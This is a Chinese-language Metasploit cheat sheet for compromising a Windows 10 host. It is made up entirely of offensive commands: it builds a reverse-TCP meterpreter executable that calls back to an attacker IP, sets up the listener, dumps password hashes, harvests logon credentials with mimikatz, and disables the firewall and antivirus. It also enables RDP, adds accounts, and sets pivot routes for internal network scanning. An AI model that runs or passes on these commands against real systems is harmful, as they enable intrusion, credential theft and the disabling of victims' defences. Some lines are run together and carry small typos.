MSF简单利用win10

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.140 lport=4444 -f exe >shell.exe

use exploit/multi/handler  #加载模块set payload windows/meterpreter/reverse_tcp  #修改成我们之前生成木马时使用的payloadset lhost 127.0.0.1  #设置kali的IP地址为监听地址set lport 4444  #设置监听端口

runpost/windows/gather/smart_hashdump

load mimikatz

kiwi_cmd sekurlsa::logonpasswords

run post/windows/manage/enable_rdp //开启3389 proxychains rdesktop IP //远程连接 目标机需要开启3389端口

shell执行：netsh advfirewall set allprofiles state off

auxiliary/scanner/discovery/arp_sweep    #基于arp协议发现内网存活主机，这不能通过代理使用auxiliary/scanner/portscan/ack           #基于tcp的ack回复进行端口扫描，默认扫描1-10000端口auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描，默认扫描1-10000端口auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机auxiliary/scanner/ftp/ftp_version        #发现内网ftp服务，基于默认21端口auxiliary/scanner/ssh/ssh_version        #发现内网ssh服务，基于默认22端口auxiliary/scanner/telnet/telnet_version  #发现内网telnet服务，基于默认23端口auxiliary/scanner/dns/dns_amp            #发现dns服务，基于默认53端口auxiliary/scanner/http/http_version      #发现内网http服务，基于默认80端口auxiliary/scanner/http/title             #探测内网http服务的标题auxiliary/scanner/smb/smb_version        #发现内网smb服务，基于默认的445端口   use auxiliary/scanner/mssql/mssql_schemadump  #发现内网SQLServer服务,基于默认的1433端口use auxiliary/scanner/oracle/oracle_hashdump  #发现内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version    #发现内网mysql服务，基于默认3306端口auxiliary/scanner/rdp/rdp_scanner        #发现内网RDP服务，基于默认3389端口auxiliary/scanner/redis/redis_server     #发现内网Redis服务，基于默认6379端口auxiliary/scanner/db2/db2_version        #探测内网的db2服务，基于默认的50000端口auxiliary/scanner/netbios/nbname         #探测内网主机的netbios名字

run autoroute -p   //查看路由设置run get_local_subnets   //查看目标机本地子网情况run autoroute -s 192.168.52.0/24  设置路由

run post/windows/manage/migrate

run post/windows/gather/checkvm

run post/windows/manage/killav

run post/windows/gather/enum_logged_on_users

run post/windows/gather/enum_applications

run post/windows/gather/forensics/enum_drives

run post/multi/recon/local_exploit_suggester

run post/multi/gather/env

run post/windows/gather/enum_services

run post/windows/gather/dumplinks

删除用户run post/wndows/manage/delete_user username=aiyou添加账户run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou

use auxiliary/scanner/netbios/nbnameset rhosts 192.168.52.0-255run

use auxiliary/scanner/portscan/tcpset rhosts 192.168.52.138set ports 80,135-139,445,3306,3389run